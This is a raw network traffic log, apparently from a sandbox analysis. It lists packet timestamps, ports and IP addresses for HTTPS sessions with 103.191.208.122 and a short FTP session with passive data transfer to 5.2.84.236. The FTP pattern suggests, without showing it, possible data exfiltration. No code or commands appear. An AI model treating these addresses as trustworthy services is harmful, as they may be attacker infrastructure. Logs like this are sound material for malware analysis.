Oct 9, 2024 10:51:01.765218973 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.765347958 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.765419960 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.765592098 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.765746117 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.765849113 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.766319036 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.766720057 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.766828060 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.766921043 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.766938925 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.766949892 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.767008066 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.767008066 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.767441034 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.767537117 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.767543077 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.767570019 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.767616034 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.767704964 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.768341064 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.768439054 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.768454075 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.768562078 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.768582106 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.768600941 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.768666029 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.768666029 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.769064903 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.769213915 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.908695936 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.909041882 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.909075022 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.909095049 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.909145117 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.909145117 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.909316063 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.909411907 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.909497976 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.909573078 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.910021067 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.910147905 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.910213947 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.910213947 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.910223007 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.910270929 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.910593033 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.910800934 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.911034107 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.911109924 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.911209106 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.911290884 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.911663055 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.911889076 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.912128925 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.912236929 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.912277937 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.912285089 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.912307024 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.912319899 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.912389994 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.912487030 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.913067102 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.913163900 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.913232088 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.913315058 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.913817883 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.913903952 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998306990 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998472929 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998552084 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998552084 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998574018 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998603106 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998651028 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998660088 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998675108 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998706102 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998711109 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998739004 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.998807907 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.998809099 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.999084949 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.999241114 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.999254942 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.999336958 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.999583960 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.999744892 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.000010967 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.000114918 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.000124931 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.000149965 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.000205994 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.000205994 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.000761986 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.000827074 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.000921965 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.001048088 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.001070976 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.001132011 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.001745939 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.001877069 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.001888037 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.002016068 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.002075911 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.002075911 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.002083063 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.002120972 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:02.002182961 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:02.025971889 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:04.664238930 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:04.672739029 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:04.672844887 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:05.319823027 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:05.324054003 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:05.329200029 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:05.549638033 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:05.556726933 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:05.561703920 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:05.856355906 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:05.856547117 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:05.861490011 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.081975937 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.082195997 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:06.087410927 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.307672024 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.307852030 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:06.312880993 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.533163071 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.533437967 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:06.538796902 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.758912086 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.759753942 CEST	49732	54172	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:06.765026093 CEST	54172	49732	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:06.765120029 CEST	49732	54172	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:06.765173912 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:06.770673990 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:07.397644043 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:07.397881031 CEST	49732	54172	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:07.397964001 CEST	49732	54172	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:07.403098106 CEST	54172	49732	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:07.403985023 CEST	54172	49732	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:07.404047012 CEST	49732	54172	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:07.441575050 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:07.624701977 CEST	21	49731	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:07.675975084 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:15.628856897 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:15.628941059 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:15.629034042 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:15.636913061 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:15.636964083 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:16.645559072 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:16.645669937 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:16.648689985 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:16.648715019 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:16.648960114 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:16.691690922 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:16.709661961 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:16.751419067 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.205180883 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.205219030 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.205225945 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.205293894 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.205328941 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.254115105 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.438308954 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.438342094 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.438491106 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.438491106 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.438556910 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.438577890 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.438613892 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.438630104 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.438766003 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.438786983 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.438832045 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.438843012 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.440284967 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.440304995 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.440347910 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.440366030 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.670418978 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.670439959 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.670561075 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.670871973 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.670933008 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.671837091 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.671905994 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.672283888 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.672353983 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.673099041 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.673165083 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.673319101 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.673378944 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.674181938 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.674251080 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.710906982 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.711019039 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.903367996 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.903459072 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.903561115 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.903637886 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.903675079 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.903745890 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.904568911 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.904630899 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.904858112 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.904918909 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.905500889 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.905572891 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.905745029 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.905817032 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.908219099 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.908308983 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.909719944 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.909780025 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.909789085 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.909797907 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.909857988 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.909945011 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.909998894 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.910027027 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.910062075 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.910092115 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.910109997 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.910155058 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.910223961 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.910327911 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.910342932 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.910377026 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.910393953 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.943918943 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.943998098 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.990746021 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.990840912 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:17.991008997 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:17.991077900 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.136501074 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.136604071 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.136662960 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.136734009 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.136847973 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.136910915 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.137281895 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.137346983 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.137479067 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.137538910 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.137918949 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.137991905 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.138128996 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.138196945 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.138628960 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.138709068 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.138907909 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.138971090 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.141798973 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.141885042 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.142065048 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.142129898 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.142345905 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.142411947 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.142636061 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.142704964 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.142940044 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.143016100 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.143311024 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.143376112 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.143522024 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.143589020 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.223671913 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.223738909 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.223853111 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.223908901 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.224220037 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.224281073 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.224463940 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.224523067 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.224920034 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.224983931 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.225357056 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.225409985 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.225413084 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.225423098 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.225455999 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.225950956 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.226007938 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.226023912 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.226083040 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.226696968 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.226756096 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.226758957 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.226767063 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.226797104 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.226809978 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.227430105 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.227493048 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.227559090 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.227607012 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.227615118 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.227659941 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.228343964 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.228391886 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.228394032 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.228399992 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.228447914 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.506885052 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.506897926 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.506973982 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.507066011 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.507122040 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.507414103 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.507504940 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.507762909 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.507863998 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.508060932 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.508116961 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.508483887 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.508544922 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.508672953 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.508727074 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.509326935 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.509385109 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.509484053 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.509533882 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.509656906 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.509713888 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.510318995 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.510376930 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.510510921 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.510562897 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.511096954 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.511162043 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.511298895 CEST	443	49735	103.191.208.122	192.168.2.4
